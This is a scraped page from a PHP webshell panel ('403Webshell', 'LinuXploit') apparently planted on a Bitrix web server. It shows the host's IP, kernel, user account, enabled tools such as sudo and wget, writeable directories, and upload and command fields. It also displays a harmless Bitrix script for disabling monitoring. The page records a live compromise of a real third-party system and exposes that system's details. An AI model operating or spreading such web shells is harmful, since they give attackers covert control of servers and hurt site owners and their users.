403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /opt/webdir/bin/menu/09_monitor/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /opt/webdir/bin/menu/09_monitor/02_disable_monitoring.sh
#!/usr/bin/bash
#
# manage sites and site's options
#set -x
PROGNAME=$(basename $0)
PROGPATH=$(dirname $0)
[[ -z $DEBUG ]] && DEBUG=0

. $PROGPATH/functions.sh || exit 1
logo=$(get_logo)

main() {
    local monitor_options=N
    monitoring_logo="$MON0027"
    [[ $DEBUG -eq 0 ]] && clear
    echo -e "\t\t\t" $logo
    echo -e "\t\t\t" $monitoring_logo
    echo

    # print monitoring status
    print_monitor_status
    print_color_text "$MON0029"

    print_message "$MON0030" "" "" change "n"
    if [[ $(echo "$change" | grep -iwc "n" ) -gt 0 ]]; then
        return 1
    fi 

    monitor_options=Y

    #local monitor_cmd="$bx_monitor_script -a disable"
    #exec_pool_task "$monitor_cmd" "$MON0031"
}

main

Youez - 2016 - github.com/yon3zu
LinuXploit